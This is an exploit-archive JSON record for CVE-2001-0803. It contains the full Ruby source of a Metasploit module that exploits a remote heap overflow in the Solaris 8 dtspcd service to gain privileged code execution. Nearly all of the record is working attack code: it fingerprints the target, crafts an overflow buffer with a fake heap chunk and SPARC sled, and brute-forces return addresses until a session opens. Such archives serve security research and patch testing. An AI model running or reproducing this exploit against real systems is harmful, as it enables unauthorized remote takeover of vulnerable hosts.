{"exploit":{"id":"EDB-9923","name":"Sun Solaris 8 dtspcd - Remote Heap Overflow (Metasploit)","description":"Sun Solaris 8 dtspcd - Remote Heap Overflow (Metasploit)","cves":["CVE-2001-0803"],"author":"noir","published":"2002-06-10","platform":"solaris","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9923","path":"exploits/solaris/remote/9923.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9923.rb","vulnerabilities":[{"id":"CVE-2001-0803","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the client connection routine of libDtSvc.so.1 in CDE Subprocess Control Service (dtspcd) allows remote attackers to execute arbitrary commands.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0803","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0803"},"updatedAt":"2024-08-08T04:37:05.842Z","retrievedAt":"2026-11-26T18:07:30.707Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9923.png?v=2","url":"https://exploitbin.com/exploits/EDB-9923","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9923/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9923/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id$\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\n\nrequire 'msf/core'\n\n\nclass Metasploit3 < Msf::Exploit::Remote\n\n\tinclude Msf::Exploit::Remote::Tcp\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Solaris dtspcd Heap Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis is a port of noir's dtspcd exploit. This module should\n\t\t\t\twork against any vulnerable version of Solaris 8 (sparc).\n\t\t\t\tThe original exploit code was published in the book\n\t\t\t\tShellcoder's Handbook.\n\n\t\t\t},\n\t\t\t'Author'         => [ 'noir <noir@uberhax0r.net>', 'hdm' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision$',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2001-0803'],\n\t\t\t\t\t[ 'OSVDB', '4503'],\n\t\t\t\t\t[ 'BID', '3517'],\n\t\t\t\t\t[ 'URL', 'http://www.cert.org/advisories/CA-2001-31.html'],\n\t\t\t\t\t[ 'URL', 'http://media.wiley.com/product_ancillary/83/07645446/DOWNLOAD/Source_Files.zip'],\n\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 800,\n\t\t\t\t\t'BadChars' => \"\\x00\\x0d\",\n\t\t\t\t\t'PrependEncoder' => (\"\\xa4\\x1c\\x40\\x11\" * 3),\n\t\t\t\t},\n\t\t\t'Platform'       => 'solaris',\n\t\t\t'Arch'           => ARCH_SPARC,\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t['Solaris 8',\n\t\t\t\t\t\t{ 'Rets' =>\n\t\t\t\t\t\t\t[0xff3b0000, 0x2c000, 0x2f000, 0x400, [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ] ]\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Jul 10 2002',\n\t\t\t'DefaultTarget' => 0))\n\n\t\t\tregister_options(\n\t\t\t\t[\n\t\t\t\t\tOpt::RPORT(6112)\n\t\t\t\t], self.class)\n\tend\n\n\n\tdef exploit\n\t\treturn if not dtspcd_uname()\n\n\t\ttarget['Rets'][4].each do |tjmp|\n\n\t\t\trbase = target['Rets'][1]\n\n\t\t\twhile (rbase < target['Rets'][2]) do\n\t\t\t\tbreak if session_created?\n\t\t\t\tbegin\n\t\t\t\t\tprint_status(sprintf(\"Trying 0x%.8x 0x%.8x...\", target['Rets'][0] + tjmp, rbase))\n\t\t\t\t\tattack(target['Rets'][0] + tjmp, rbase, payload.encoded)\n\t\t\t\t\tbreak if session_created?\n\n\t\t\t\t\tattack(target['Rets'][0] + tjmp, rbase + 4, payload.encoded)\n\t\t\t\t\trbase += target['Rets'][3]\n\t\t\t\trescue EOFError\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\thandler\n\t\tdisconnect\n\tend\n\n\tdef check\n\t\treturn Exploit::CheckCode::Detected if dtspcd_uname()\n\t\treturn Exploit::CheckCode::Safe\n\tend\n\n\tdef dtspcd_uname\n\t\tspc_connect()\n\t\tspc_write(spc_register('root', \"\\x00\"), 4)\n\t\thost, os, ver, arch = spc_read().gsub(\"\\x00\", '').split(':')\n\n\t\treturn false if not host\n\n\t\tprint_status(\"Detected dtspcd running #{os} v#{ver} on #{arch} hardware\")\n\t\tspc_write(\"\", 2)\n\t\treturn true\n\tend\n\n\n\tdef chunk_create(retloc, retadd)\n\t\t\"\\x12\\x12\\x12\\x12\" +\n\t\t[retadd].pack('N')+\n\t\t\"\\x23\\x23\\x23\\x23\\xff\\xff\\xff\\xff\" +\n\t\t\"\\x34\\x34\\x34\\x34\\x45\\x45\\x45\\x45\" +\n\t\t\"\\x56\\x56\\x56\\x56\" +\n\t\t[retloc - 8].pack('N')\n\tend\n\n\n\tdef attack(retloc, retadd, fcode)\n\t\tspc_connect()\n\n\t\tbegin\n\t\t\tbuf = (\"\\xa4\\x1c\\x40\\x11\\x20\\xbf\\xff\\xff\"  * ((4096 - 8 - fcode.length) / 8)) + fcode\n\t\t\tbuf << \"\\x00\\x00\\x10\\x3e\\x00\\x00\\x00\\x14\"\n\t\t\tbuf << \"\\x12\\x12\\x12\\x12\\xff\\xff\\xff\\xff\"\n\t\t\tbuf << \"\\x00\\x00\\x0f\\xf4\"\n\t\t\tbuf << chunk_create(retloc, retadd)\n\t\t\tbuf << \"X\" * ((0x103e - 8) - buf.length)\n\n\t\t\tspc_write(spc_register(\"\", buf), 4)\n\n\t\t\thandler\n\n\t\trescue EOFError\n\t\trescue => e\n\t\t\t$stderr.puts \"Error: #{e} #{e.class}\"\n\t\tend\n\n\n\tend\n\n\n\tdef spc_register(user='', buff='')\n\t\t\"4 \\x00#{user}\\x00\\x0010\\x00#{buff}\"\n\tend\n\n\tdef spc_write(buff = '', cmd='')\n\t\tsock.put(sprintf(\"%08x%02x%04x%04x  %s\", 2, cmd, buff.length, (@spc_seq += 1), buff))\n\tend\n\n\tdef spc_read\n\t\t# Bytes: 0-9 = channel, 9-10 = cmd, 10-13 = mbl, 14-17 = seq\n\t\thead = sock.get_once(20)\n\t\tsock.get_once( head[10, 13].hex ) || ''\n\tend\n\n\tdef spc_connect\n\t\tdisconnect\n\t\tconnect\n\t\t@spc_seq = 0\n\tend\n\nend","sha256":"becbd726cdd3ed8116300b51075606b3d26b90596ce87077f4e7fa408724b801","bytes":3752,"fetchedAt":"2026-11-26T18:07:30.363Z","encoding":"utf-8 (display only; download retains original bytes)"}